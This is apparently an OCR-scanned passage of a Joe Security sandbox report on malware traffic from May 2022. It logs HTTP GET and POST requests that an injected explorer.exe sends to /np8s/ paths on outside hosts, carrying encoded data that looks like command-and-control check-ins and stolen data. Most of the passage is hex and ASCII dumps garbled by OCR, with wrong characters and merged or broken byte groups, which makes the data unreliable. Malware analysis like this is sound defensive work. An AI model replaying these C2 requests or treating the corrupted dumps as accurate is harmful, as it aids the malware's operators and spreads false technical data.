63 6¢ 4c 3538 43 52 79 43 44 30 79 4e 33 30 58 79 76 55 65 4d 32 68 4b 53 46 43 6a 64 74 33 36 72 28 34 32 42 55 32
4e 6d 62 39 34 62 7e 6a 32 48 50 64 33 48 66 65 6¢ 61 67 41 55 64 56 54 75 78 30 72 6e 36 57 68 50 62 5a 49 7e 36 63
32335939 42 43 52 69 46 73 33 34 39 4c 38 41 31 45 55 4f 4f 33 41 50 68 63 7a 46 70 65 39 68 4e 6f 7a 61 6a 66 68 71
73 58 6a 58 4a 4d 62 74 71 39 34 33 61 62 4e 61 44 54 75 67 76 6b 34 57 72 52 4c 55 30 6b 6a 61 49 7e 39 78 62 62 6a
61 37 43 76 6d 37 66 77 71 42 6¢ 76 64 6d 36 4a 63 5a 6a 42 6¢ 56 44 65 6e 69 68 44 58 58 77 4a 71 53 33 55 4a 52 41
3049 315031 6358 64 37 48 44 7a 62 34 6¢ 61 46 36 59 67 57 72 56 4e 64 64 5f 46 48 42 37 73 4f 48 58 43 77 75 5f 4f
52 38 74 73 48 52 74 4a 4f 64 6¢ 70 67 38 4b 78 57 59 39 37 34 45 39 68 59 4d 2d 69 6e 4f 50 67 58 7e 71 34 73 36 43
28 6f 70 32 67 47 52 58 6¢ 51 49 62 38 67 35 62 78 43 37 6d 6¢ 59 68 6d 4b 69 4c 30 49 2d 72 65 68 63 78 42 6e 50 39
47 57 6e 48 46 53 46 63 69 43 6d 62 32 65 6d 51 39 59 64 6d 56 59 32 48 56 4f 66 55 64 44 4d 7e 31 7e 62 48 64 6b 2d
65 45 4e 37 58 63 4b 53 48 43 49 52 64 36 42 57 41 62 7a 67 42 51 55 63 30 59 72 4f 36 4c 4e 6d 77 7a 6a 6d 72 52 56
304852 67 31 65 6d 61 6a 5a 54 35 45 62 4a 77 34 48 76 6f 78 68 71 53 33 36 74 59 69 4b 66 73 6b 77 4c 59 71 6e 4c
64 64 4571 4a 48 44 70 71 45 49 46 65 36 6b 5a 38 69 79 75 61 49 28 44 7e 46 73 4a 52 75 56 78 4f 61 52
Data Ascii: zVB=7d93EVh8uWKWas5pedvkRNSI4yKIJRsnRMg-STCLb3su(YPLD1nxCpWXT3JVSmZoxNfCNx6rzH
t83gx_RNS5RHp1-ilEbspUOITIHsVQ_Ybfs(0lINQZplYpE4-eKcer6uYfLUK_LItF4uGXRIQWGEME~OD4nZ44glIRRa
u96c6yvHIXSTJI11janMuigOkilc2Dyw8F4ji9CW1yQJO4gBoC91h26129aBrRnM5ADX_VetRCaesK4aE5iasOWEV1A
1f8BXdNb3JkqEepz~rhuolL.83mqQf3y4NDX4ETETDsgmqi-hzwv4uv-0Qi-i_SXul~uOKFRCsPICr6369FwWNbKmHhKR
nhdy0G3yll0sXcACFBMB8joWfWiM4EMR6EZ(dIFmfgyxL~pOmFndASm9OKAIi9Cjlg2WHyd~sk1z94a1AzHsOt24CoX
FMwgl7HQI3nT2GcObwLbkAf-deowS0pZaWszzuhUpReZJDvzV_qYPa50jkIrTjX1t4vxs2bjDkpJibpOHVI3rbpwOb
8MVIWIsLibppMpsUZPa2(ZshAsSC8k1Fa_3fKqDEDfOrCTusqHS552KrQVdN4-46d726BPC4ANBb7kQHPMGgRtXy6aG
ImuGz3BogN4pLWgGkzbxF4QVRWJEMUDmMjuo020VK3XZ0sViveQOosJdhh8x-Z4Heivs_JCPqQSeOqJg4asi-4tAVau
M9wayWBcURQcwir5TN~02gI5Yzr09X(elMIDa811hrZWORY nz1fdEpsPRkfiGtKTWNGPHIOQLpUQ9TmFmI4moeWgji
Eif4ZhDdI6DFoQbcWyLM489pT4Lc2ICZPxod(ma_jrxM60Tk16UXLKgfX1iLV_1LbfPtIWBNi8~xudoe7QtfzVIMwK
MymJAK7IWcIL58 CRyCDOyN30XyvUeM2hKSFCjdt36r(42BU2Nmb94b~j2HPd3HfelagAUdVTux0rn6WhPbZI~6c23Y
9BCRIFs349L.8A1EUOO3APhczFpedhNozajfhqsXjXIMbtq943abNaDTugvk4WrRLUOkjal~9xbbja7Cvm7fwgBlvdm
6JcZjBIVDenihDXXwJqS3UJRAOI1P1cXd7HDzb4laF6YgWrVNdd_FHB7sOHXCwu_OR8tsHRtJOdIpg8KxWY974E9hY M-
iINOPgX~g4s6C(op2gGRXIQIb8g5bxC7mlYhmKiLOI-rehcxBnP9GWnHFSFciCmb2emQ9YdmVY2HVOfUdDM~1~bHdk-
eEN7XcKSHCIRd6BWAbzgBQUcOYrO6LNmwzjmrRVOHRglemajZ T5EbJw4HvoxhqS36tYiKfskwlLYqnLddEqJHDpgE
IFe6kZ8iyual(D~FsJRuVxOaRCnNaxrPyKfZkr650J0SIpi784SAGOzhSD6kvvwKQItZbMk3fQNIW7nFhiWj~hRu(v
Gy5fEeCQNquhzlcLIPOZvea6EeDLHzUBH1Z5gXMucDsh4aZs2Ad38TTIT-wi(2~ZX7YUfJIHB8QATQG7XmTYmwsEa67
99FpdN8eRpnEPt3cJulixud8p8ID(fSYKBeMajyflQufUAIOJdowux7Q985DPIIkWp9i7yBEdGWIK5AdQvyhbPmzI
nZ8Sk4eJXx1KIQb_w4(6t209hSCMwz(FNzH-1eZmzh2lmMke~47uNXtsGBOFb1D1gNxre5epab5rJ5SbNXUKwjKtU1j
vovmQZfMc28PmC9r1SickmxVjbsm3-0yRIMXLGB8wCCdLgOLOneRFO-XIjwY5bhlcku9YK6Fg7ZwZWKPPj_ZbjLJyby
LpZrSZramYsgeKbiuZbIMMtQFu2Y0vzZK9Pnk9Y7doTFzbnzFWNWILI7N1g2TybohS6S4yaplXANogXcTZJ_vivsj-
QVINAYYSyUC_~03KkAj(Fulb7rAFUOP1n9nOlaXakgObBJEN2qwQP~I1YBH4_SYkC24F230Z07qgVudb5tNpTgoFFio
Rc8JJ2LVFekgsstAyoyXLsTcRZjMJIbNX6klic_wgrSX7JbAqFjVAFM5MP-siQYbmyr4F8ejOIWc2XRM-IKWNnHEFVK
CEM42GpF4Cs4hTFOODogAuBzfIFq(IGRWQygzuntgg(afrygqMD~suBDD3pTjN_051KvKm1pPKgpOUcoZVQwPDzWgoA
ifBgK9(o(Us9kAsaeMpYzcw_OV7vyqzRbih3gakfZmw-Kd1XgtEolvklYNX140RF(2EED-uXELLIilj3hJaH5EwWv6qdif5xa3F8T
0OI2CLy35H2W5filbtg2FDayUsr50WshqGh4eeR7a8qZiSlcoTz2aXgd2qb9KcZhjPvWgOknpzYrHgXMayLvmjnRsjO
Kz2QzuHW1ZJBYIjMAIRKCNoUKIj7tb1NbtQj4vgl30eeSnBQRhoq3yoEfyKM5ItufoSY7Y5wLF2e3NIwiAefoaUXNt
EoW23VvsfcD6Psy3FYrg3eGotFmVITix4BNIBNjQOfUbvOv_EyClixlcaH3WQr7ullxU-2geuOLnrpoUnoOXz1bVa5U
JCrC5lIVni2BdtHPXG ToztObU8H7HgK-kmAQKIRgY-PV1fSPthORJRGoCIXTImmpO2FAD_fRphuDve3ZDx4dmCrrxq
~GQVkIvDFOcyrgPrA0c4otVILysIOiIKBTFQH76RxVsSMFvyugoiQD_64C0OaSye0tYO2gyJYd(2A558pd7nBzowAkmp
jgSQBRO9TWAKYBVGTkB3~dfi20ukbTYyAA47ACRHQIr05GIh7~TkY4ZGpG20hsQgIHQ757Qht(PTwvLAjFEKTGMZjQv
Ckm_dPYnnYO30FD3VNNyNLQINF8IWvsMijt16It5XtpU2mKgBQQvVvKP{Zv7u8nXEOUzZ6GjM_ynGIPkrzDcZkdIhWSs
aJ8amJWkJVmn26~o05gdic4XgelxsaRIFo_AxW17tGYsilpMvD6IFOIGXSIk0YtxV2gAj50LQQeykL7aZDAvgWucpth
4yDTn7~HhfzoxmzEdthQFD47xD9-A5by9yBGQt9LcpMShsSrEVBNgo6kc20OHbulr(887H4VqiC74d0TOIGh3jy9-eq
kxjoBPEHIDemvusug3Q3fWc8pdvehm0OHeUWHUGN2SvTzMHDenGtQZxMJETrAGosD~QkJuio8EUU4fGObmNBh7HCz8V
7zKbCHNNK9yXrVqT1T9HG1gZIONFIXCIBXgKO6mkYt4o_34uK9w4rldgoS_WD8hdfurlylTqeoDsf0OeH1IDsX7ps
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Timestam| LEpee
P transferred

Session ID Source IP
22 192.168.2.5

. kBytes
LLLLEE L0 transferred
May 27, 2022 9712
18:43:54.176553011
CEST
May 27, 2022 9721
18:43:54.360255957
CEST
Session ID Source IP
23 192.168.2.5

. kBytes
Timestamp transferred

Copyright Joe Security LLC 2022

Direction

Source Port

49920

Direction

ouT

Source Port

49928

Direction

usVd(SacgnRz98pmRUITUBmMuleZIXXSyEt1EewlL3xdzhW7KcgqovPuzaXAh9b3VPXpOEN3ItXYIKIDN(HIQWHT7Y2
PagauUF4ZB3LH-0QWPEVpMgLjheV6_CplNgzdZf5eNDOoy2Enu(bvpRJI8bWYiVZXONVnuOdX1CYImY~Q(_bSpeEcB9
FvN4hsty5F1t4e2ot-MsyMZ4ecqsK5H273aHx17kvn26aTmAXIlyciYPrORQmv6Lna73LBg5USqAf1IpZCREORcfmt
XD4YHRhjpuWjrKeikcSzCu4ONg4I8ACPA7fH6hBOD_38iJ5g3ED8eyrAXezZ59NT(yrvsSjR(sMRFdejHZjcWgkjmn
bSI138Wj99Cv01p6wcODKEs~g46GYtw7INUiV3IGhoBWdIQhgujk24rAUwcFsSgAnhxX_jZu-z7HhOVBbU7CjaXgaXR
rg(DgH4gvVd9bnm5b_xJINVCJI3RpL~Axxg4ucDChXoGXeiJVF1TVVeo7vNOyhmCnWSbhTx(YWo3X2calgemn(AjGLGHD
1652dvO5B4xp8FX7DuuS3GYiIQGhEBISLbT3rniMJIIO1_ZV0IAR3d2PR3QAIUSyrgRO3keVRvpjlbloUnysmDO-Y21m
ea5e9PnIHGbKD1gTOBGFTvhquigalhodbknFOjfLj_pR3qgri6RVIZ0gX_xaXB6CRgEifOFX6jMmsgq9gQIESoo5LRk
Hmr5BnLzlyrxHp3NYowpfIHrXzyWv0e078eMg2zcj8ct(DyXCgKowf7bW79Y Fua9pRPOJaGKBmsB3cDASDwWMIE]lIr
XEYc0azs44WV0lIbcTtGXU8SmcplDel FZZhKGv-

Destination IP Destination Port Process
45.39.111.146 80 C:\Windows\explorer.exe
Data

GET /np8s/?zVB=0fIJNalpbsGGBLLIgJIIKrQqKQ2B2XPA1kKZIGWKGMUEET6sTbN1/jKODKGGIXc1lZm5PZ&4hM4=0
4BOf HTTP/1.1

Host: www.68chengxinle.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Date: Fri, 27 May 2022 16:44:00 GMT

Content-Length: 1929

Content-Type: text/html

Server: nginx

Data Raw: 3c 68 74 6d 6¢ 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f
78 68 74 6d 6¢ 22 3e 0d Oa 3c 68 65 61 64 3e 0d Oa 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65
3d 27 b2 a9 c2 de c1 b7 b0 c9 d3 b0 ca d3 ce c4 bb af b7 a2 d5 b9 b9 ab cb be 27 3b 3c 2f 73 63 72 69 70 74 3e 0d Oa 3c
74 69 74 6¢ 65 3e 26 23 34 39 3b 26 23 35 36 3b 26 23 33 31 31 30 35 3b 26 23 32 36 30 38 30 3b 26 23 33 32 37 36 34
3b 26 23 32 30 30 34 34 3b 26 23 32 34 30 33 37 3b 26 23 32 31 34 37 35 3b 26 23 32 30 38 34 30 3b 26 23 32 34 34 32
35 3b 26 23 32 32 38 32 33 3b 26 23 32 30 38 34 30 3b 2c 26 23 32 34 33 37 38 3b 26 23 33 34 38 39 32 3b 26 23 32 35
3137 303b 26 23 32 34 33 32 30 3b 26 23 32 31 34 35 32 3b 26 23 33 33 31 35 31 3b 26 23 33 30 31 32 37 3b 26 23 32
39 33 37 38 3b 26 23 33 36 38 32 37 3b 26 23 32 30 39 38 36 3b 26 23 32 39 32 34 35 3b 26 23 32 39 32 34 35 3b 26 23
32393234 353b 2c 26 23 32 30 38 34 33 3b 26 23 32 35 31 30 36 3b 26 23 32 30 38 34 33 3b 26 23 32 35 31 30 36 3b
26 23 32 36 33 36 38 3b 26 23 32 36 30 33 32 3b 26 23 32 30 38 31 33 3b 26 23 33 36 31 35 33 3b 26 23 31 31 39 3b 26
23313139 3b 26 23 31 31 39 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 31 39 39 38 31 3b 26 23 33
39 30 3338 3b 26 23 33 31 32 35 38 3b 26 23 32 33 32 37 33 3b 26 23 32 34 33 37 38 3b 26 23 33 34 38 39 32 3b 26 23
333037 37 32 3b 26 23 31 39 39 37 37 3b 26 23 32 30 30 31 30 3b 26 23 32 33 35 36 37 3b 26 23 32 32 37 38 38 3b 3¢
2f 74 69 74 6¢ 65 3e 0d Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d
22 26 23 33 38 34 35 31 3b 26 23 32 31 34 38 38 3b 26 23 33 39 30 33 30 3b 26 23 33 30 35 32 38 3b 26 23 32 33 37 33
31 3b 26 23 32 31 30 31 36 3b 26 23 32 36 31 39 35 3b 26 23 33 33 36 37 33 3b 26 23 33 30 33 34 30 3b 26 23 33 32 39
3333 3b 26 23 33 33 32 31 36 3b 2c 26 23 32 34 33 37 38 3b 26 23 33 34 38 39 32 3b 26 23 32 35 31 37 30 3b 26 23 32
34 33 32 30 3b 26 23 32 31 34 35 32 3b 26 23 33 33 31 35 31 3b 26 23 33 30 31 32 37 3b 26 23 32 39 33 37 38 3b 26 23
3336 38 32 37 3b 26 23 32 30 39 38 36 3b 26 23 32 39 32 34 35 3b 26 23 32 39 32 34 35 3b 26 23 32 39 32 34 35 3b 2¢
26 23 32 30 38 34 33 3b 26 23 32 35 31 30 36 3b 26 23 32 30 38 34 33 3b 26 23 32 35 31 30 36 3b 26 23 32 36 33 36 38
3b 26 23 32 36 30 33 32 3b 26 23 32 30 38 31 33 3b 26 23 33 36 31 35 33 3b 26 23 31 31 39 3b 26 23 31 31 39 3b 26 23
3131 39 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 31 39 39 38 31 3b 26 23 33 39 30 33 38 3b 26 23
3331 3235 38 3b 26 23 32 33 32 37 33 3b 26 23 32 34 33 37 38 3b 26 23 33 34 38 39 32 3b 26 23 33 30 37 37 32 3b 26
233139 39 37 37 3b 26 23 32 30 30 31 30 3b 26 23 32 33 35 36 37 3b 26 23 32 32 37 38 38 3b 22 20 2f 3e 0d Oa 3c 6d
65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 39 30 38 37 3
b 26 23 32 32 39 31 39 3b 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 33 31 39 33 34 3b 26 23 32 31 36 39
37 3b 26 23 31 39 39 36 38 3b 26 23 32 31 33 30 36 3b 26 23 32 30 31 30 38 3b 26 23 32 31 33 30 36 3b 26 23 33 35 32
37 30 3b 26 23 33 39 30 35 37 3b 2¢ 26 23 32 34 33 37 38 3b 26 23 33 34 38 39 32 3b 26 23 32 35 31 37 30 3b 26 23 32
34 333230 3b 26 23 32 31 34 35 32 3b 26 23 33 33 31 35 31 3b 26 23 33 30 31 32 37 3b 26 23 32 39 33 37 38 3b 26 23
3336 38 32 37 3b 26 23 32 30 39 38 36 3b 26 23 32 39 32 34 35 3b 26 23 32 39 32 34 35 3b 26 23 32 39 32 34 35 3b 2¢
26 23 32 30 38 34 33 3b 26 23 32 35 31 30 36 3b 26 23 32 30 38 34 33 3b 26 23 32 35 31 30 36 3b 26 23 32 36 33 36 38
3b 26 23 32 36 30 33 32 3b 26 23 32 30

Data Ascii: <html xmIns="http://www.w3.0rg/1999/xhtml"><head><script>document.title=";</script><title>&#49;&#
56;&#31105;&#26080;&#32764;&#20044,&#24037;8#21475;&#20840;&#24425,&#22823;8#20840;,&#24378;&#34892;
&#25170;&#24320;8#21452;8#33151;&#30127;&#29378;&#36827;8#20986;&#29245;8&#29245;8#29245;,8#20843;&#2
5106;&#20843;&#25106;8#26368;&#26032;&#20813;8#36153;&#119;&#119;&#119;&#35270;&#39057;,&#19981;&#39
038;&#31258;&#23273;&#24378;8#34892;&8#30772;8#19977,;&#20010;&#23567;&#22788;</title><meta name="keyw
ords" content="8#38451;&#21488;&#39030;&#30528;&#23731;&#21016;&#26195;8#33673;&#30340;&#32933;&#332
16;,&#24378;&#34892;&#25170;&#24320;&#21452;&8#33151;&#30127;8#29378;&#36827;&#20986;&#29245;&#29245;
&#29245;,&#20843;&#25106;8#20843;&#25106;&#26368;&#26032;&#20813;&#36153;&#119;&#119;&#119;&8#35270;&
#39057;,&#19981;&#39038;&#31258;8&#23273;8#24378;&#34892;8#30772;&#19977;&#20010;&#23567;&#22788;" />
<meta name="description" content="&#29087;&#22919;&#20154,&#22971;&#31934,&#21697,8&#19968;&#21306;&#
20108;&#21306;&8#35270;&#39057;,&#24378;8#34892;&#25170;&#24320;&#21452;8+#33151,;&#30127;&#29378;&#368
27,&#20986;&#29245;8#29245;&#29245;,8#20843;8#25106;&#20843;&#25106;&#26368;&#26032;&#20

Destination IP Destination Port Process
23.231.99.207 80 C:\Windows\explorer.exe
Data
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kBytes

Timestamp transferred
May 27, 2022 9731
18:44:11.760749102
CEST
Session ID Source IP
24 192.168.2.5

. kBytes
LLLLEE 0 transferred
May 27, 2022 9734
18:44:17.624659061
CEST
Session ID Source IP
25 192.168.2.5

. kBytes
Tim m

pnestamp transferred
May 27, 2022 9747
18:44:17.650103092
CEST

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49931

Direction

ouT

Source Port

49932

Direction

ouT

Data

GET /np8s/?zVB=MO+mSdLLNuwRQY0oVJuGLvO0I5Vniy3FD6QWfbcj4un1GXTVLdefusF8/041Go+fIW50u&CTr8g=
z48HVPSHfp HTTP/1.1

Host: www.refreshertowels.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
Destination IP Destination Port Process
66.235.200.145 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www.muddybootslife.com

Connection: close

Content-Length: 409

Cache-Control: no-cache

Origin: http://www.muddybootslife.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.muddybootslife.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 32 54 44 61 55 45 6b 4d 73 4b 6e 54 31 57 74 58 38 37 36 31 49 55 56 2d 64 39 31 52 30 72 70
74 7e 47 53 71 30 4f 51 66 59 6a 6a 41 33 4f 41 66 4f 61 44 32 63 65 4c 44 56 5a 31 36 72 59 54 6¢ 6f 66 79 35 4e 45 7a
4950525155 67 79 56 71 78 2d 66 68 71 66 76 49 30 32 6a 54 4b 52 62 61 39 66 44 32 33 4a 6a 6d 67 42 34 6f 52 39
52 37 6f 34 34 68 43 6¢ 4b 6a 36 55 51 4f 68 76 55 53 32 75 69 55 28 45 7e 68 59 45 4f 4a 42 47 58 52 44 45 6d 58 52 34
67 47 65 65 72 36 79 78 36 5a 76 4b 62 42 7e 7a 53 51 6e 79 32 5f 78 41 5a 73 43 36 6b 71 35 36 71 2d 4a 5a 43 68 6b
78 6d 6b 4f 76 62 44 6e 42 6d 30 46 37 34 6d 30 75 30 35 53 63 6¢ 61 39 34 55 49 76 4d 6¢ 76 64 47 62 30 46 68 41 79
5a 6e 4c 5a 68 5f 4c 6e 4a 6¢ 45 35 6f 48 45 38 79 42 69 36 55 73 6d 38 4a 79 6a 58 66 46 57 6b 78 51 6e 43 59 6e 67
67 62 61 7a 4e 53 58 4b 59 54 69 6e 48 63 6e 64 62 4f 62 61 4d 65 6a 54 6f 63 54 66 6a 4d 64 77 70 43 77 6e 71 37 74
4b 76 53 46 57 4e 4c 33 59 2d 53 6a 6b 66 36 71 71 46 30 33 4d 43 71 31 59 5f 79 61 47 58 55 30 4b 4e 49 4c 6a 78 44
73553257 67 70 2d 42 6b 68 76 48 77 54 43 56 59 4b 78 44 2d 7a 4d 45 6¢ 63 4d 6¢ 39 53 79 72 48 42 35 78 38 59 51
36 34 28 77 63 74 58 70 28 65 49 34 6e 59 4d 6¢ 6e 77 29 2e 00 00 00 00 00 00 00 00

Data Ascii: zVB=2TDaUEKMsKnT1WtX8761IUV-d91R0rpt~GSq00QfYjjA30OAfOaD2cel DVZ16rY TlofySNEzIPRQUgyVax-
fhafvl02jTKRba9fD23JjmgB40R9IR7044hCIKj6UQOhvUS2uiU(E~hYEOJBGXRDEmMXR4gGeer6yx6ZvKbB~zSQny2_xA
ZsC6kq56q-JZChkxmkOvbDnBmMOF74mO0u05Scla94UlvMIvdGbOFhAyZnLZh_LnJIE50HE8yBi6Usm8JyjXfFWkxQnC
YnggbazNSXKY TinHcndbObaMejTocTfiMdwpCwnq7tKvSFWNL3Y-Sjkf6qqF03MCalY_yaGXUOKNILjxDsU2Wgp-Bk
hvHWTCVYKxD-zMEIcMI9SyrHB5x8Y Q64 (wctXp(el4nYMinw).

Destination IP  Destination Port Process
66.235.200.145 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www.muddybootslife.com

Connection: close

Content-Length: 36477

Cache-Control: no-cache

Origin: http://www.muddybootslife.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.muddybootslife.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 32 54 44 61 55 45 49 65 78 4c 62 77 37 6d 68 30 37 49 4b 66 44 46 46 38 4e 64 67 66 77 61 31

7937 7a32 413676 68 2d 62 6d 57 66 7a 2d 64 4e 4b 64 58 75 63 62 32 5a 59 4c 42 2d 73 34 58 6d 6f 66 71 62 4e 45

6e 49 4f 51 34 45 6e 52 63 39 78 62 7a 6d 72 5f 76 65 31 32 6a 61 4f 55 79 49 39 66 48 55 33 4a 36 35 67 79 38 6f 51 62

64 37 28 76 6b 37 47 31 4b 6¢ 35 55 68 56 38 66 49 31 32 75 4c 53 28 42 47 68 59 30 4b 4a 48 6e 6e 53 53 33 7e 57 56

6f 67 66 50 75 72 6f 39 52 6e 71 76 4b 50 5a 7e 33 57 51 6b 45 4f 5f 79 77 35 73 57 64 51 70 74 36 71 33 59 4a 43 6f 7a

68 71 49 4f 76 33 45 6e 44 4b 4f 46 4f 59 6d 31 65 30 34 57 4e 73 35 36 70 55 54 6a 74 68 59 64 47 58 64 46 77 4d 36

5a 69 37 31 70 74 69 43 56 54 51 44 6f 44 67 47 7e 42 69 41 63 4d 6d 6e 4a 79 6a 7a 66 46 58 75 78 54 50 43 59 67 63

67 61 4b 6a 4e 62 78 7e 66 62 79 6e 43 4c 33 64 46 66 72 47 30 65 6a 4¢c 43 63 57 75 6b 4d 4e 4d 70 41 68 33 71 7a 76

69 6f 65 56 58 47 4d 33 5a 74 59 44 6b 4d 36 71 71 33 30 7a 59 53 70 43 41 5f 77 50 7e 58 58 58 69 4e 62 4c 6a 78 66

38553063 41 317542 6b 70 72 48 78 6a 38 56 72 6d 78 43 6f 6e 4d 46 45 63 4d 69 4e 53 79 79 58 41 58 31 65 46 75

34 5a 58 45 51 50 47 4f 6d 39 6¢ 62 7a 73 4e 4c 35 44 67 37 53 54 77 70 55 55 6f 46 41 4c 63 71 6¢ 49 35 5a 6f 38 4e 78

4534 68 72 63 30 61 70 6¢ 59 5a 62 37 53 74 51 39 53 77 76 61 63 75 6b 28 70 73 2d 55 76 71 50 35 61 64 70 59 66 45

4e 66 76 5a 36 6¢ 64 4d 6f 5a 6¢ 28 78 34 45 55 4d 6e 38 44 4f 4a 72 77 33 7a 67 72 5a 43 48 6a 53 53 52 70 4e 53 52

45397152 31 77 37 71 46 45 4d 58 59 79 50 2d 36 54 48 4e 72 55 43 6¢ 57 63 30 53 63 45 28 61 4d 75 41 75 55 49 69

6f 4f 4f 78 4d 6d 62 50 6d 75 32 55 72 5a 54 49 41 4d 31 59 4e 69 58 34 45 44 47 37 48 53 36 62 63 39 30 73 38 53 68

50 30 50 42 62 4b 6f 4a 6f 6d 54 6f 36 76 39 46 78 6¢ 6¢ 66 4e 57 31 42 30 55 61 72 58 30 34 59 61 6e 7a 4e 39 57 7a 37

52 72 56 4f 59 30 68 68 77 36 74 46 79 6f 50 44 4b 45 4e 62 4c 65 75 59 47 5a 72 47 47 75 58 42 7e 4f 76 49 48 68 6d 75

54 4a 36 5a 6e 7a 44 57 67 73 6a 32 6f 6¢ 62 50 4d 47 54 4e 75 74 6b 6d 6¢ 42 58 33 67 42 42 52 56 4f 39 67 42 45 67 6

a37704b 7174 46 57 30 33 2d 34 33 63 70 57 2d 70 77 45 4a 63 33 58 59 64 44 53 46 7a 5a 32 47 6b 53 6f 76 43 44

65 48 74 65 6d 56 39 4a 30 5a 61 6¢ 41 6b 37 4e 6d 37 63 6¢ 43 62 79 48 73 76 6d 65 5a 47 47 45 77 42 30 39 42 31 38
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Timestam| LEpee

P transferred
May 27, 2022 9774
18:44:18.003113031
CEST
Session ID Source IP
26 192.168.2.5

Copyright Joe Security LLC 2022

Direction

Source Port

49933

7137 33 6d 30574869 6d 4d 6¢c 71 4d 39 70 30 57 41 50 41 68 49 79 75 46 50 44 53 43 50 4f 4c 70 4b 7a 73 57 65 45
Qfgb 43 74 69 54 51 4c 4f 4b 72 5f 5a 37 48 62 65 50 39 59 79 35 75 49 4f 74 36 5a 69 4d 73 74 51 4c 34 4¢ 28 31 61 77
36 74 63 4d 74 75 34 37 58 79 72 69 47 50 67 68 5a 77 45 53 6d 57 44 32 6¢ 6e 65 51 49 71 79 65 4e 74 43 54 56 76 32
44 67 50 6a 55 35 4e 30 47 28 36 77 67 4f 5f 45 59 31 53 58 6d 34 5a 32 36 73 50 7a 30 41 5a 77 33 77 36 62 5f 59 52
42 73 31 78 53 6a 58 43 76 48 4e 56 6d 5a 67 72 6a 78 7a 75 62 58 44 6¢ 58 43 67 79 30 6¢ 58 41 4d 2d 32 77 6d 55 4b
4e 62 68 56 6d 45 35 6b 62 49 74 62 41 43 4d 36 74 66 4d 34 76 39 65 7e 48 30 6e 4b 63 45 57 63 53 6b 59 77 2d 45 55
7332 41 5a 4b 50 48 59 77 76 48 79 46 4b 66 59 75 78 72 7a 45 42 6f 62 36 2d 6f 5a 47 6f 74 79 56 55 59 6a 4c 35 64 69
6b 43 4e 77 62 7a 71 4d 79 46 75 65 28 6f 55 59 6¢ 31 69 63 35 56 78 57 7a 62 61 34 44 43 4c 73 44 6a 6d 70 73 36 36
4571 6d 52 75 71 47 61 4b 6d 61 36 72 38 4d 55 43 31 48 63 69 55 37 61 57 38 4a 76 6b 35 6¢ 71 6d 72 63 42 59 49 6¢C
72 37 4e 50 79 33 67 47 6f 35 57 37 62 58 65 72 75 41 4d 5f 75 68 55 57 75 50 48 71 71 52 6a 7a 58 6¢ 75 45 30 70 34 5
7 75 30 66 6¢ 50 69 50 75 35 63 4e 52 37 54 69 37 6¢ 67 4d 38 4c 48 53 66 79 50 61 51 6f 53 4c 4f 47 38 76 69 33 67 47
7134 3536 6¢ 6¢ 61 66 4c 71 68 7a 57 55 64 43 32 6b 31 6¢ 54 6d 53 5a 72 59 41 4b 50 39 70 6b 49 6e 50 62 5a 55 45
48 41 59 36 52 77 4c 34 6e 5a 72 78 6¢ 39 5a 54 47 4e 45 4b 30 30 50 46 46 7a 4b 62 35 61 64 6e 76 53 54 55 47 63 38
58 61 4d 51 51 65 49 4a 70 50 42 45 31 6¢ 4a 76 41 54 69 56 75 41 30 75 67 74 72 59 6d 73 32 30 51 57 4e 6¢ 6f 28 56
4a 41 77 51 65 55 47 69 4c 61 77 6f 6a 43 32 79 65 6d 6f 79 4f 53 56 32 72 4e 39 37 74 6¢ 7e 4c 62

Data Ascii: ZVB=2TDaUElexLbw7mh07IKfDFF8Ndgfwaly7z2A6vh-bmWfz-dNKdXucb2ZYLB-s4XmofgbNEnIOQ
4EnRc9xbzmr_vel2jaOUyl9fHU3J65gy80Qbd7(vk7G1KI5SUhV8fl12uLS(BGhYOKJIHNNSS3~WVogfPuro9RnqvKPZ
~3WQKEO_yw5sWdQpt6q3YJCozhqlOV3ENDKOFOYm1e04WNs56pUTjthYdGXdFWM6Zi71ptiCVTQDoDgG
~BiAcMmnJyjzfFXuxTPCY gcgaKjNbx~fbynCL3dFfrGOejLCcWukMNMpAh3gzvioe VXGM3ZtYDkM6qq30zYSpCA_wP
~XXXiNbLjxf8UOcALluBkprHxj8VrmxConMFECcMiNSyyXAX1eFu4ZXEQPGOmM9lbzsNL5Dg7STwpUUoFALcqlI5Zo8Nx
E4hrcOaplYZb7StQ9Swvacuk(ps-UvgP5adpYfENfvZ6ldMoZI(x4EUMNn8DOJrw3zgrZCHjSSRpNSRE9qR1w7qFEMXYyP-
6THNrUCIWcO0ScE(aMuAuUlioOOXMmbPmMu2UrZTIAM1YNiX4EDG7HS6bc90s8ShPOPBbKoJomTo6vIFxIIfNW1B
OUarX04YanzN9Wz7RrVOY0Ohhw6tFyoPDKENbLeuYGZrGGuXB~OvIHhmuTJ6ZnzDWgsj20lbPMGTNutkmIBX3gBBRVO
